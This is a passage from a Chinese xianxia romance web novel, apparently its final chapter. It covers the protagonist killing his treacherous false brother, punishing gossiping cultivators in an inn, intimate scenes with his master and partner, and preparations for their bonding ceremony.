“聂云斟,你想当我的狗?” 聂云斟以为他心动了,忙不迭点头,“弟弟,不不,你我毫无血缘关系,你让我做男宠,小妾,随便什么都可以,只要能跟在你身边!” 揪着他衣襟的手骤然松开。 聂云斟愕然抬头,却见青年冰冷的眼神透着无尽的嫌恶,仿佛刚才碰到了一只脏脏的虫子。 “聂云斟,我真想让所有人都来听听你方才说的话,”聂更阑冷笑不已,“男宠,小妾?” “狗?” “你连做我院子里的石雕摆设都不配,更不配出现在聂家祠堂。” “让你回来,不过是以慰母亲在天之灵罢了。” “你这副卑微、讨好、令人厌恶的嘴脸,没人想看到。” 聂更阑沉冷的话一句句落下,掌心骤然轰出一道灵力,聂云斟身体顿时翻滚在地,如同被斩断触角的臭虫一样抽搐不止。 他弯下腰,凑到聂云斟面前,嗓音冷冽,怒意寒凛,“到了这个时候,你竟还敢惦记我,你也配? “真是令人恶心。” 说着,他厉喝一声,“交出母亲的魂魄,否则你今日休想或者离开聂家庄!” 聂云斟被折磨得犹如万虫啃噬,大汗淋漓,气喘吁吁。 “呵呵,好啊。” 聂云斟笑了一声,语调透着森寒,“母亲的魂魄,其实就在——” 说到关键处,他刻意把声音压低。 聂更阑不由得弯低了腰。 “——最后一缕魂魄,其实仍旧压在金元秘境那座山底,哈哈哈!” 聂云斟最后一句话落下,体内同时钻出一缕魔气倏然飞向聂更阑。 聂更阑下意识一掌轰向聂云斟。 “轰隆!” 祠堂塌陷时,外面等候的众人皆是被吓了一跳。 待到压塌的祠堂砖块被灵力纷纷掀开时,只见聂更阑满身尘土伫立于原地,地底,淌了一地鲜血。 聂云斟破碎的尸体孤零零躺在那里,已经悄无声息死去了。 …… 不日,聂云斟死讯传遍修真界。 周炎在囚仙狱得知这个消息后,不知从哪找来一颗鬼毒丹吞下,当场暴毙在牢狱内。 二人的陨落招来修真界很长一段时间的斥骂,包括独孤苍眠。 众人皆是纷纷感叹,灵音宗出了三个叛徒,但拯救流月大陆的两个救世主也皆出自灵音宗。这不可谓不是一种冥冥中自有定数的安排。 而关于沈端枫的最后一缕魂魄,终究是要等待一个五十年金元秘境开启后再行寻回了。 聂更阑祭拜沈端枫、聂云追、聂云烟以及二叔聂重山之后,留在聂家庄处理一大摊事务,他学习能力强,不少事务很快就上手。 不过,他却是不能永远待在聂家庄的。 为此,聂更阑特意请了姑姑聂重音暂代他打理聂家庄的众多事务以及各地产业。 等到事情交代得差不多时,灵音宗忽然传来一个消息。 流光真君在玉髓峰和洪渊道祖大打出手了。 第164章【正文完】 第164章 【正文完】 远在西南地域的师徒二人听说此事后,选择在第二日返回灵音宗。 翌日,管家一众人看着灵舟缓缓从聂家庄广场上方驶向远方。 有家仆不禁感叹道:“你们知道当初老爷为什么要给少爷取更阑这个名字吗?那时我偶然听到老爷经过时说,小倌出身上不得台面,给少爷取这个名字,老爷就没想过让他一直待在聂家庄,待他从宗门有了点修为后不至于那么给家族丢脸,就打算把他放到聂家庄下面某个小城池,让他管理些小产业,这辈子也算是为聂家做了贡献了。” “没想到啊,后来老爷许是看到少爷长得还算出众,于是起了联姻的心思,要把他许给邢家。” “我看老爷心里压根就没指望少爷能有什么出息,只盘算着物尽其用了,能给山庄带来多少利益就算多少。” 聂重远当初的所作所为众人皆是看在眼里,闻言禁不住点点头,发出一阵叹息。 王管家:“好了,日后便是少爷掌管山庄,千万莫要在少爷面前提起那些叛徒,惹得少爷不高兴。” “都回去做事吧。” “是,王管家。” 一众家仆里,望舒老人牵着孙儿慢慢走在后头,爷孙俩正在说悄悄话。 焱焱说要待在聂家庄陪伴爷爷一段时间,过一阵再灵音宗,聂更阑答应了。 “焱焱早就看出少爷有飞升之姿,所以才放心跟着他离开的?” “爷爷,当时我也不确定啦,不过既然是爷爷信任的人,焱焱肯定也相信他啦。然后我跟着聂更阑到了灵音宗,发现剑尊飞升之兆更为显著,于是就……” “就什么?”凭望舒老人对孙儿的了解,有可能这欲言又止后面接的不是什么好事。 焱焱眼珠子滴溜溜转了一下瞄向四周,发现没人注意他们,于是小小声地说:“就是,在他刚到宗门拜师大典那次,让他当着剑尊的面释放五谷轮回……” “嗷嗷嗷!” 聂家庄内忽然传来爷爷揍孙子的声音。 “爷爷,你做什么打我,好疼,我额头起包了!” 望舒老人眼角的皱纹一跳一跳:“少爷当初什么也没有,一定受尽了欺负,偏偏你还要来这一遭,不知他会受多少委屈,唉!” “爷爷,我这不是想让剑尊注意到他嘛!我是在撮合他们呀!” 望舒老人:“……” 望舒老人再次举起了和手臂一样粗的木棒。 “爷爷,别打了!” 王管家等人看着这个场景,都纷纷笑了。 …… *** 继聂云斟、周炎陨落后,修真界这两日为人津津乐道的话题有多了一个,那便是,灵音宗那位刚出伏羲秘境的洪渊道祖与春雨阁一位真君纠缠了起来。 “胡说,洪渊道祖是何许人也,怎么会纠缠春雨阁一个小小的真君?” “那肯定是流光真君纠缠洪渊道祖好吧?在万神山洪渊道祖出秘境时这个流光就对洪渊道祖极为不满,处处挑衅,亏得道祖脾气好不愿同他他计较。” “那道祖的脾气也太过于好了,居然还让那流光纠缠到玉髓峰去了!” “脾气再好的人也总有受不住胡搅蛮缠的一天,看看,这不是终于打起来了?要我说,洪渊道祖再不给那小小真君一点教训,恐怕都被骑到头上去了!” “洪渊道祖不愧是当年一代救世主啊,教出的徒弟清鸿剑尊也是个脾性温和的,这不,果然师承大道,也成了二代救世主。就是剑尊教出来的这徒弟吧,虽然功劳也很大,但听说脾气阴晴不定的,之前还打伤过不少同门……” “道友,你要是这么说,我也听过一些传闻,说是剑尊徒弟的修为一路爬上来靠的都是不同的男人,宗门的师兄、师弟都被他薅了个遍,否则他一个四灵根怎么可能修炼到如今的炼虚期?” “你们别再说了,聂长老也是个了不起的人物,如果能靠着薅男人一路爬上来,合欢宗那些妖姬岂不是早就晋升至合体大乘了?” 坐在酒楼角落的合欢宗弟子:“……” 此时,桐月城上方,一艘豪华的灵舟飞速经过。 聂更阑听着下方城池传来的议论声,不由偏头看向身侧的清鸿剑尊。 “师尊。” 清鸿剑尊拉过他的手,攥到怀里握着,“生气?” 聂更阑:“呵。” “道听途说罢了。” 说着,他眉眼斜斜上挑,眼底似是闪过一道暗芒。 才说罢,已经口是心非地让灵舟缓缓往桐月城方向降落。 清鸿剑尊嘴角弧度逐渐弯了起来。 …… 桐月城,望仙楼。 方才那几个八卦得特别起劲的,在旁边修士的劝说下依旧滔滔不绝议论不停。 “……据说啊,我也是听小道消息知道的,听说他之前刚到聂家庄的时候就靠魅惑之术,嗐,也就是小倌那些手段,勾引他那个假哥哥,也就是那个叛徒聂云斟……” 那个一脸横肉的修士正兴致勃勃说着,只见四周的道友忽然用一种奇怪的眼神打量他。 横肉脸摸了摸额头,诧异问:“怎么,我脸上有东西吗?” 四周无一人说话,看他的眼神开始变得诡异。 和横肉脸坐一桌的几个修士都在催他:“别管他们,继续说啊。” 才催完,就发现横肉脸修士屁股后头长了一条类似于狐狸尾巴的东西。 但又不是实实在在的狐尾,而是一条黑色烟雾组成的尾巴,一看就知道鬼气森然,透着股诡异。 “啊!” 横肉脸的几个同伴吓得差点从凳子摔下去,纷纷尖叫出声。 这阵骚动立即让他们发现了身后不知何时出现的两个人。 一个昳丽隽朗,一个出尘超然。 这两个如神仙般的人好看是好看,就是出现得太过突然好似鬼魅一样,差点没把人吓死。 眉眼昳丽的青年似笑非笑环视几人一圈,道:“你方才说的都是真的?” 横肉脸仰头饮尽一杯灵酒,满不在乎道:“当然了,包真!” “我在灵音宗有人脉!那可是我大伯表弟的女儿的弟弟说的,能错得了吗?” 横肉脸的同伴却顾不得什么八卦小道消息了,惊恐地指着横肉脸的屁股叫道:“旺才,你的屁股,尾巴!” 旺才不耐烦地放下酒杯,“嚷嚷什么,什么屁股什么尾巴的,叫个鬼啊!” “不是,你的屁股长出了一条尾巴啊!” 在同伴惊慌失措的叫声中,旺才往屁股后头一摸,嘿,竟真长出了一条尾巴。 还挺长! 他急忙拽过来一看,黑黢黢的,不是狐狸也不是狗,总之鬼气森森得很,一看就是不详之物。 横肉脸吓得一哆嗦。 恰好酒楼大堂中有人叫出了声,更是直接把横肉脸吓得直接一屁股墩摔倒了地板上。 角落的一张桌子上有修士认出了昳丽青年以及青年身侧冷峻出尘的男子。 “这、这不是聂更阑和清鸿剑尊吗!” 这一声叫出来后,酒楼大堂顿时沸腾了。 平时的散修和寻常宗门修士哪有机会得见清鸿剑尊一面,那都是大宗大派才有的机会。 因而此时也就只有几人是见过清鸿剑尊以及聂更阑的。 大堂顿时比方才还要人声鼎沸,众人纷纷激动了! “居然是清鸿剑尊和聂更阑么?天啊,头一次见到真人,也太令人叹为观止了吧。这气质,这容貌……” “聂长老和清鸿剑尊居然大驾光临了,我还以为自己眼花了!” 横肉脸正在为自己长了一条鬼尾巴而惶然失色,听到四周的惊呼声,终于明白这条尾巴是怎么来的了。 他慌张地想从地上爬起来,却被那条鬼尾巴绊倒,又摔了一个屁股蹲,直接把尾巴压折了,疼得他发出杀猪般的嚎叫。 四周顿时传来哄堂大笑。 横肉脸却以为是那青年对自己出手了,吓得满地打滚求饶:“不是真的,不是真的,我也只是听说而已!” 青年沉丽的眉眼似乎也充斥着鬼气,阴气森森,唇角的笑容让人打了个冷战,“是么?真让我失望。” “我却认为这是真的。” 此话让大堂为之一静。 有修士叫道:“聂长老别听这几个喽啰嘴碎乱叫唤,我们都知道您和剑尊是拯救流月大陆的大英雄!咱们都敬佩敬仰着二位呢!” “是啊是啊,聂长老别为这种人置气,群众的眼睛是雪亮的,大伙心里清楚着呢!” 在众人纷纷为聂更阑说话时,只听正主本人发话了。 聂更阑森寒的笑意逐渐扩大,“我确实是靠着男人爬到如今的位置。” “啊?!” 四周再次哗然。 青年笑了,神色幽幽扫过方才那几桌嘴碎的修士。 “我凭着吃我师尊的软饭一路爬上来。” “有什么不对?” 众人:“???” 青年说着,掌心一翻,一把绽放绿芒的宝剑浮现于手中。 只见他笑意森森,视线一一掠过横肉脸以及方才那边几桌跟着激情澎湃议论他的修士,接着一剑磅礴剑气扫了过去。 横肉脸及其几桌修士嗷嗷叫着被削得起仰八叉飞了出去,桌子也跟着砰砰掀翻。 “我有本事勾得剑尊心动,你们不服大可以试试。” 沉冷的声音响彻大堂时,众人全傻眼了。 …… 不过片刻,大堂内已然恢复井然有序。 修士们看着青年和清冷出尘的男子在赔偿店家损失后双双离去,二人皆是金昭玉粹,仙姿玉质,看起来好不般配。 待师徒二人离去后,众人才敢好奇地小声问。 “聂长老真是吃清鸿剑尊软饭爬上去的?” “笨!聂长老明显是在说反话,否则怎么会把那几桌碎嘴都掀翻了?” “啊……道友所言极是。” …… 灵舟重新升空时,聂更阑心情显然阴雨转晴不少,“托鬼公主的助力,那只尾巴会跟着他整整七日。最近鬼域重建,看来我得寻个空闲时间助鬼域一臂之力。” 他说着说着,发现清鸿剑尊已经许久未出声,侧头一看,发现某人唇角正勾着,默然几息,道:“师尊若想笑便笑,不必憋着。” 他一说,清鸿剑尊喉间立即传出一道低沉的哼笑。 “不是说不生气?” 聂更阑表现得理所当然:“没气。” “徒儿不是承认了么,我确实是靠着吃师尊软饭才有了今日的修为境界。” 清鸿剑尊又是低笑一声,捉起徒弟的手把人拽到跟前。 “既然没生气,最后一句话又是何意?” 青年被男人扯得被迫踮起脚撞到他怀里,一抬头就迎上那双深邃的漆眸,两人面容相贴,呼吸喷洒在脸上,清冷如泉的嗓音也随之钻入耳里。 “阑儿让谁来试试?” 聂更阑喉结滚了滚,忽然生出一股拔腿想逃的冲动。 然而清鸿剑尊已经扣紧了他的腰身。 聂更阑咬牙,暗自运起灵力,试图挣脱他的手。 不过一个炼虚期要从渡劫期手里逃脱,那就是徒劳和妄想。 聂更阑挣扎了一阵都没能成功,反而因为用力脸和脖颈已经涨红。 他不甘心地开口:“不如都别用灵力,师尊敢不敢?” …… 片刻后。 聂更阑被清鸿剑尊单手摁在船舷上已经一盏茶功夫了,不光面色通红,就连衣襟底下、锁骨处的肌肤也泛起一层薄粉。 看得出他十分吃力。 师尊的手臂分明看起来和他差不多粗细,为何却这般…孔武有力。 许是聂更阑脑海中愤懑的想法过于强烈,竟被清鸿剑尊捕捉到了。 清鸿剑尊漆眸低垂,扫向两只交缠在一起的手臂。 “……” 他的道侣何处来的错觉这般自信。 “师尊……” 聂更阑一改往日阴沉的声音,放软语调,“弄疼我了。” 清鸿剑尊将思绪从道侣契的感应收回,下意识松开手,“很疼?” 视线往下一扫,果然看到徒弟小臂留下了一道按压的红印子。 他欲捉过他的手细看,却见青年眼底划过得意的暗芒,反手一把将师尊推至船舱的房门上,门吱呀一声被撞开。 清鸿剑尊几个踉跄间居然也被带着倒在了榻上,因着怕青年摔倒手还扶在他后脑以及腰间垫着。 聂更阑计谋得逞,终于把人推倒在榻上。 “师尊,这次谁赢了?” 清鸿剑尊却还惦记着他的小臂,确认一般问他:“疼不疼?” 聂更阑脸上难得露出得逞之色,沉声道:“自然不疼。” “师尊连这点骗术也识不破。” 无怪乎会被他压在下面。 清鸿剑尊:“。” 徒弟玩得开心,便随他去吧。 只是—— “哗啦。” 熟悉的天旋地转的动作又一次上演。 聂更阑的威胁“师尊,还是疼”还未出口,清鸿剑尊已经压在他身上,双手撑在榻的边缘。 “既然不疼,为师便放心了。” 聂更阑:“?” 清鸿剑尊:“还有四个时辰到灵音宗,师尊尽量不让你疼。” 聂更阑:“??” “日积月累,为师期待阑儿日后终有一日能成功打出翻身仗。” 接连三个日,听得聂更阑额角青筋直跳。 “日、日什么?” “日积月累,日后,终有一日。” 聂更阑脸一黑。 “师尊都是从何处学的这些……歪门邪道?” “你逼着为师一道看的话本戏文。” 聂更阑脸一黑再黑。 那是北溟朔借给他,说是能调剂道侣之间感情的灵丹妙药,保准他们看了之后感情会突飞猛进,更上一层楼。 清鸿剑尊眼睁睁看着青年半途开小差,手抚一寸寸过他面庞,落至衣襟处的锁骨,似有不愉:“在想什么?” 聂更阑回过神,下意识脱口而出。 “在想,日积月累,日后,终有一日。” 话一出,空气骤然沉寂几息。 停落在衣襟的指尖遽然收紧了。 聂更阑嗅出不同寻常的危险气息,眸子微动欲挣扎。 翻身这回事,是绝不可能放弃的。 但他显然毫无胜算。 没多久,船舱中便传来“啊”的一声叫唤。 “师尊,疼……” “阑儿,这招方才用过了。” 半个时辰后,一个时辰后,两个时辰后,三个时辰后,四个时辰…… 青年浑身泛着薄红,可疑的红梅遍及各处。 眼尾又一次低落晶莹时,他迷迷蒙蒙地想,那些画本确实能让增进道侣间的感情。 可现在六个时辰都过去了,灵音宗怎么还没到? 清鸿剑尊臂膀将他牢牢圈在怀里,吻去他眼尾的泪珠,“灵舟早已飞过灵音宗。” “再飞一圈吧。” 聂更阑顿时两眼一黑。 糊成一团的脑子已经开始思考之后如何好好“感谢”一番北溟朔。 清鸿剑尊假意不知徒弟在想什么,开始温声哄人:“很舒服,是不是?” “舒…啊、舒服……”聂更阑喉间溢出低吟,整个人蜷缩了起来。 清鸿剑尊一手掐着他腰窝,嗯了一声,“还敢让旁人来试试么?” 聂更阑被汗水打湿的眼睫猛然一颤,似蹁跹蝴蝶振翅欲飞。 已经过去好几个时辰,师尊怎么还记得这一茬? 而清鸿剑尊的蛊惑的嗓音已经如同魔音萦绕在舱房中。 “日积月累,日后,终有一日。” 聂更阑记不清脸黑了多少次,索性两腿一伸不管了。 这一“日积月累”,三日时间转瞬而过。 …… 聂更阑和清鸿剑尊赶回灵音宗,到了玉髓峰时,便看到北溟朔匆匆而来,一脸火烧房子的表情冲他们喊:“哥,你们怎么才回来!” “流光真君和洪渊道祖又要打起来了,你们快去劝一劝!” 聂更阑和清鸿剑尊相视一眼。 他们出发之前两人已经大打出手好几次,怎么回来时仍旧不消停? 看来两人隔阂矛盾颇有些严重。他们倒是回来得恰是时候。 师徒二人随着北溟朔快步去往渊明殿。 到了殿外,穿过几道气派的门扉连廊以及拱门,再穿过院子—— 还未等他们靠近大殿中心,便已经远远看到院中一棵古木下,洪渊道祖正悠游自在地饮着杯中灵茶。 而据说与他大打出手的流光真君正俯身趴在两张石凳上一动不动,似乎是…… “睡着了?”北溟朔不解地抓抓头发,“刚才不是还打得很激烈,都快把檐廊的柱子都压塌了。” 俯身趴着的人咬牙从嘴里挤出几个字:“你才睡着了。” 北溟朔大步奔过去,试图送上一番关怀:“流光真君,你还好吗?要不要我扶真君起来?” 他说着就伸手扶人,却被一道灵力打在胳膊。 “哎哟。” 北溟朔捂住吃痛的胳膊,气冲冲看向袭击者,却发现洪渊道祖正“温和”地看着他。 北溟朔:“……” 他瞬间知道这里没自己的事,老老实实退到一旁去了。 清鸿剑尊道:“师尊,发生了何事?” 洪渊道祖放下瓷杯,温蔼出声:“肃秋回来了。倒也没什么,不过是与流光真君有些误会。” 北溟朔一听忍不住滔滔不绝道:“事情很简单,就是流光真君这些日子不是常来和洪渊道祖走得近吗,今日他一来就瞧见道祖在同白衣人说话,还以为道祖又要强逼白衣人回归哥你的本体。” “流光真君当即就怒了,二话不说同道祖打了起来。” “事情就是这样。”北溟朔最后说道。 聂更阑和清鸿剑尊不约而同看向趴在石凳上的流光真君。 看来二位战况只激烈了不到一刻钟就已经分出了胜负。 流光真君被压制得死死的,根本没法挣脱。 “洪渊道祖只是叮嘱我一些事情,并非逼迫于我。” 这时,白衣人不知从何处忽然现身,像是鬼影一般蓦地冒了出来。 众人一听,颇有些同情地看向流光真君。 洪渊道祖露出一个和蔼的笑,声调温和如潺潺溪流:“不怪他。” “怪我。” “许是我身上有什么特质,令一向温文尔雅的流光真君如此怨气冲天失去理智。” 流光真君闻言顿时恼羞成怒:“我被这么多人围观,你还不将我松开。” 洪渊道祖:“是我不周到了。” 说时,灵力一松,压在流光真君身上的禁制解开。 后者缓缓站起身,狼狈地拍掉衣服上的落叶。 他面色沉怒,什么也没说拔脚就要走。 洪渊道祖悠哉的声音自后面传来:“你冤枉了本君,不打算赔礼道歉?此事传出去对春雨阁声誉可不太好。” 流光真君恼怒转身,“你说吧,如何赔?” 洪渊道祖捧起茶杯又啜了一口,悠悠道:“陪我喝酒。” “赔……”流光真君重复着字眼,念到一半蓦地回过神,“陪喝酒?” 不远处,聂更阑和清鸿剑尊已经默契地转身向院门方向走去。 白衣人一个闪身,也瞬时不见影踪。 北溟朔连忙小跑跟上师徒二人,用很小的声音问:“哥,你就这么放任流光真君留下来?不怕明日起来整个渊明殿都塌了?” “被强迫留下来陪喝酒,这不是和雅香楼的……那什么一样吗,流光真君必定屈辱得很啊。” 清鸿剑尊淡扫他一眼:“是么?” “是啊!” 聂更阑:“那你便回去把流光真君从师祖手里夺过来。” 北溟朔一头雾水:“啊?” 他怎么听不懂? 师徒二人却不再理会他,径自走了。 北溟朔:“……” 聂更阑和他哥是真的放心啊! …… 翌日,聂更阑忽然记起带回来的两个小孩还拘在神仙瓶中,于是把人交给北溟朔,让他将其带到药峰青炎真君手中。 北溟朔一脸懵,“为什么是我?” 聂更阑:“你住在玉髓峰的时日不多了,好好珍惜这段替我和师尊跑腿的日子。” 北溟朔:“?” 要办结契大典了不起啊! 哼。 …… 聂更阑才从凌海殿出来,绕过一出灵泉和花园,没走多久便见流光真君浑浑噩噩地从渊明殿走了出来。 “真君。”这段时日他们经常见面,算是熟络了,是以聂更阑便也没再称呼流光的尊号。 流光真君摆了摆手,似乎并不太愿意说话。 聂更阑颇有些意外,“真君同师祖喝了一夜的酒?” 流光真君:“……是。” 聂更阑看出他似乎心情不太好,便不再多说,道了告辞酒回了清风殿。 只是走远之后,他忍不住稍停脚步遥遥回看一眼。 流光真君身形似有些踉跄,走路步调略透着股怪异。 这大抵是喝醉了。 聂更阑没深想,径自离开。 不过回到清风殿,他居然看到师尊还在睡,略有些诧异。 明明这几日累的是他,师尊却为何…… 约莫是刚解除归墟仙草和魔气,尚未完全恢复吧。 聂更阑思及此,轻手轻脚出了内殿,离开清风殿,直接去往停剑坪。 他索性也去了药峰。 原本打算过几日许临风苏醒了再行探望,索性便在今日先去看一遭。 聂更阑御剑到药峰时,北溟朔正把聂云飞、聂云锦交给青炎真君,两个八岁大的孩子正哭闹个不停,被青炎真君呵斥一顿扬言要把他们扔到灵兽峰喂虎狮,两个小家伙才终于老实了,敢怒不敢言瞪着青炎真君。 北溟朔看到聂更阑过来,眉毛抖了抖,“喂,你不是要去陪我哥吗,既然自己过来了干嘛还要我亲自送这两个魔王?看他们说话我就一肚子气,恨不得狠揍一顿!” 聂更阑:“师尊睡着了。” “啊?”北溟朔一头雾水,他哥居然扔下道侣在晴天大白日睡觉? 聂更阑看向青炎真君:“这两个孩子就拜托真君了。” 青炎真君算是终于知道他为何要把这双魔王送到药峰,换做寻常人怕是都受不住他们闹腾。 不过他就不同了,治混世魔王,他的手段多的是。 聂更阑没再看哭闹的龙凤胎,转身往许临风的院子而去。 身后,龙凤胎的哭叫声不绝于耳:“更阑哥哥,我们知道错了,求你不要把我们留在这里!这里好臭!这个叔叔也好臭!” 青炎真君顿时气得脸色铁青。 这两个小儿竟敢把他满峰头的药香与“臭”混为一谈! 着实欺人太甚! 寒梧真君爽朗的笑声霎时传遍了整个药峰:“哈哈哈哈!” …… 许临风的院子里,许田田照旧也在,他这会儿在院子里修炼术法。 看到聂更阑进来,于是招呼他进屋。 许临风每日都在服用青炎真君调配的药,估计用不了多久就能完全摆脱女魃留下的后遗症痊愈苏醒。 许田田:“应该能赶在你和剑尊结契大典之前醒过来,放心吧。” 看到青年沉重的神情,他捶了他胳膊一拳,“逗你的。” ? 许田田又道:“其实这些天她断断续续有清醒过,我把慕容和杳然的事和她说了,估计是悲伤过度,不愿意接受事实……不过早晚都要说,还不如早点告诉她,你说呢?” “嗯。”聂更阑沉眉看着床上的许临风,久久不语。 聂更阑在屋里陪着许田田说了一个时辰的话,听他说这些日子灵音宗发生的事,药峰的琐事,许临风的事。 提到那两个魔王小儿时,许田田气冲冲捋起袖子信誓旦旦道:“我正好一肚子气没处发泄,肯定替你好好看着这两个小屁孩。你放心,我保证不乱揍小孩儿,不过他们要是实在屡屡犯错,即便我不打我师尊也会出手。” 聂更阑:“好。” …… 从许临风院子出来后,聂更阑和北溟朔去往停剑坪。 北溟朔:“你这朋友还挺健谈的,一说就是两个时辰,精气神真足啊,好事好事。” 聂更阑:“你好好考虑考虑,我和师尊结契大典后该去哪里吧。” 北溟朔闻言一下子蔫了。 他从成为灵音宗弟子开始就住在宗门里,都八百多年了,这一下子要让他离开他哥,还真有点不习惯。 聂更阑任他苦思冥想去了,继续往前走。 北溟朔:“哎,等等我啊。” 两人来到停剑坪之前,看到了正在往院子里搬运药材的弟子。 聂更阑停住脚步,认出其中两个正是徐之蝶和冯元溪。 此前二人和许多其他外门弟子一样记忆退化,如今黑雾漩涡已散,在每日服下青炎真君调配的灵丹下,她们的记忆也正在逐渐恢复。 此时,徐之蝶和冯元溪看起来有些难过。 “好像回到宗门后就没看到那只灌灌了。” “当初让它跟着我们走,那家伙死活不信,脾气倔得不像话,看来那时已然是被卷入漩涡,生死不明了。” “之前每日都要被它嘲笑骂上几句,现在看不到它,还怪想念的。” 徐之蝶叹了口气:“是啊,它就是嘴坏了一点,其他都还好,就是经常骗我们吃的而已。” 聂更阑听到此处,默默转身继续往前走。 北溟朔惊讶得不得了:“我哥的那只胖灌鸟……死了?” 聂更阑嗯了一声:“看来是。” 师尊的灵宠,陨落了。 …… 聂更阑心情沉重地回到清风殿时,发现师尊居然还睡着,似乎并未有醒来的迹象。 他倒真有些意外了。 想了想,他坐到榻边,捉过师尊的手开始探脉。 半晌后,却并未发现任何问题。 聂更阑放下师尊的手,沉吟一阵,看来应当只是从漩涡中出来后过于疲弱? 不过他仍旧不放心,思来想去,还是得请青炎真君过来一趟。 *** 聂家庄,云莱阁。 家仆们正在收拾整理聂云斟之前住过的院子。 不到半日,进进出出的人已经把院子收拾一空,把所有属于聂云斟的物件都清理得一干二净。 这时,王管家的儿子王冉之从正屋的墙角机关暗格里拿出一个盒子,匆匆出了云莱阁。 “爹!”王冉之找到王管家,把盒子交给他爹,“在聂云斟房里的暗格发现的,我看了一眼,似乎不是什么好东西?” 王管家打开盒子,只打量了几眼,便啪地一声合上了盖子。 盒子里有六个格子,如今只剩下两枚化灵丹。 化灵丹乃是高阶丹药,修士服下后,能让其悄悄化掉灵根,尤其是还未筑基的修士,更是轻而易举且毫无痕迹和痛楚。 如今盒子里只剩下两枚,其余不见的四枚化灵丹去了何处,似乎已经很明朗了。 王管家神情沉重:“冉之,这件事你不能告诉任何人,知道么?” 王冉之见老爹神色严肃,只能点头答应。 王管家把盒子收走了。 这件事,他打算在少爷结契大典之后,寻个机会告诉少爷。 *** 聂更阑盘算着请青炎真君到一趟玉髓峰后,便躺下同师尊一块入眠。 只是他梦境虚虚实实,沉沉浮浮,一会儿梦到青炎和寒梧两位真君在他与师尊的结契大典上吵架,一会儿,又梦到师祖和流光真君竟在花丛中执手漫步。 他睡得不太踏实,因而被一阵敲门声惊醒了。 是北溟朔。 “聂更阑,洪渊道祖说要见你一面,就现在。” 师祖? 聂更阑看一眼榻上沉睡之人,起身出了清风殿。 北溟朔看到他出来,讨好地说:“没有我传话你们可怎么活啊,聂更阑,要不你们结契大典我还是不走了,反正我就住一个凌海殿,也不碍事对不对?” 聂更阑:“。” 捏更直接去了渊明殿。 进入院中时,洪渊道祖已经倒好灵茶,看样子等他有一阵了。 “师祖。” 洪渊道祖看了过来,温声招呼他坐下。 聂更阑有些好奇,不知师祖要和他谈什么。 只不过,自从方才在清风殿做了那个梦,今晨又碰巧遇到流光真君脚步踉跄的场景,他此刻心里也忍不住生疑。 是以,他不由得多看了洪渊道祖几眼。 后者视线恰好探了过来,发现青年正用怪异的视线打量自己。 …… 聂更阑不知何时睡着了。 梦中混混沌沌,一片虚无,天地鸿蒙,水天交接处,似乎有亮光出现。 他努力地走了很久,终于来到光芒大盛的地平线,循着光亮出去了。 光芒骤然消失的瞬间,聂更阑重新回到玉髓峰渊明殿院子里的古木下。 他茫然地眨了眨眼睫。 自己仍旧坐在石凳上,对面的洪渊道祖正笑容温和地看着自己。 聂更阑沉默片刻,道:“师祖可是对我用了摄心之术?” 洪渊道祖答得干脆:“是。” “既如此,我的梦境……” “我已经全然知晓。” 聂更阑:“。” 被强行入侵梦境和记忆的滋味并不好受。 他此时才算是终于明白流光真君为何会处处挑衅,处处与这位师祖置气。 洪渊道祖温声问:“更阑,能否把你在上古诸神大阵里发生之事详细告诉师祖?事无巨细,任何细节都不要放过。” 聂更阑心中存疑。 不过师尊不再继续对他使用摄心之术,而是用问的,他索性也就把一切事情告知了师祖。 洪渊道祖听完大阵中的境况,默然良久。 过了一阵,终于语重心长开口道:“更阑,接下来师祖说的话,你须得认真谨记。” “三千年之内,你必须晋升渡劫期大圆满,飞升上界。” 聂更阑心口猛地一跳。 “师祖何出此言?” 洪渊道祖:“唔,此事你须得自行领悟。” “还有一事。” “肃秋从祭魂大阵出来后伤势便一直尚未痊愈,你不可忤逆师长,欺负他。” 聂更阑一怔:“受伤?在祭魂大阵中么?” “嗯。” 洪渊道祖又道:“好了,我言尽于此。” “记住师祖所说的两件事。” “你自去吧。” 聂更阑对师祖所说三千年必须飞升一事一知半解,似乎有一个真相隐约就要破土而出,却又掩在云雾里,摸不着看不清。 至于师祖所说的“欺负师尊”…… 聂更阑思索了半日,也不知师祖从何处得来的结论,竟让他做出这般嘱咐。 …… 聂更阑回到清风殿后,恰好元千修从百忙之中发来了水镜。 “师尊正在午睡。” 元千修对清鸿剑尊居然在白日里睡觉一事表示了惊异,认定这是他们小道侣之间的小情趣,接着摆摆手:“无妨,我要同你们二人商量的正是结契大典事宜,你做主也是一样的。” 聂更阑道:“宗主请讲。” …… 于是,接下来的一段日子,修真界百废俱兴,各宗各派,各个城池皆是忙碌不已。 四大宗门得知三个月后聂更阑和清鸿剑尊举办结契大典,主动请缨加入帮忙。 元千修盘算着融合各方的意见和建议能把结契大典办得更隆重盛大,精彩热闹,于是答应了。 最近这段时间,春雨阁、药宗和临雾宗都派了真君和弟子前来帮忙。 临雾宗则是新上任的副宗主亲自过来。 他们的前任宗主林西邗自从黑林山公审逃走后便再也没出现在公众视野中,兴许是逃亡到天涯海角,此生再也不出现。 又或者已经在黑雾漩涡席卷流月大陆时已经永远销声匿迹了。 总之,黑林山囚仙狱再也没抓捕到过林西邗。 临雾宗这次弟子当中派了邢简、卫子野和陆金狂过来。 邢简此人到了这时居然还想着要同聂更阑示爱,成日需要他忙活的时候都不见人影,问就是到处打听聂更阑行踪去了。 卫子野陆金狂知道后特地把邢简抓过来教训了一顿,勒令他好好干活儿,否则就立刻滚回宗门。 那日聂更阑与洪渊道祖长谈过后,回去便询问了师尊在诸神大陆还发生过什么自己不知道的事。 这一问,才知道师尊在黑泽海大船上平安从刀疤船主舱房里出来,只因他使了一个上古禁术,通源之术。 通源之术须得消耗神魂灵脉,能短暂地大幅度提升修为。 当时清鸿剑尊使用通源之术将修为提升至渡劫期大圆满最后一个关卡,这才勉强有一战之力。 在那之后,他便神魂受创,几近枯竭。 清鸿剑尊靠着隐瞒聂更阑,暗中在昏睡梦境时缓慢修复,再加上苏醒后悄悄服用丹药,才得以控制神魂过度消耗的进程。 修补和恢复神魂枯竭一事,来日方长,急不得。 但聂更阑道后整整生气了三天三夜,足足待在洞府住了三日。 三日后,还是清鸿剑尊亲自过来接人,聂更阑脸色才终于稍霁。 他冷笑着把人逼退至石壁上,目光阴沉盯着对方:“难怪师祖叮嘱我不准欺负你。” “虞肃秋,你瞒得可真够深的。” 清鸿剑尊喉间透着些许沙哑,擒住他手腕,道:“想欺负为师,现在正是好时候。” 聂更阑火气还未消,闻言恼怒抬腿把人顶至脊背更为贴合石壁。 清鸿剑尊果然毫无反抗之力,虚弱得任由他为所欲为。 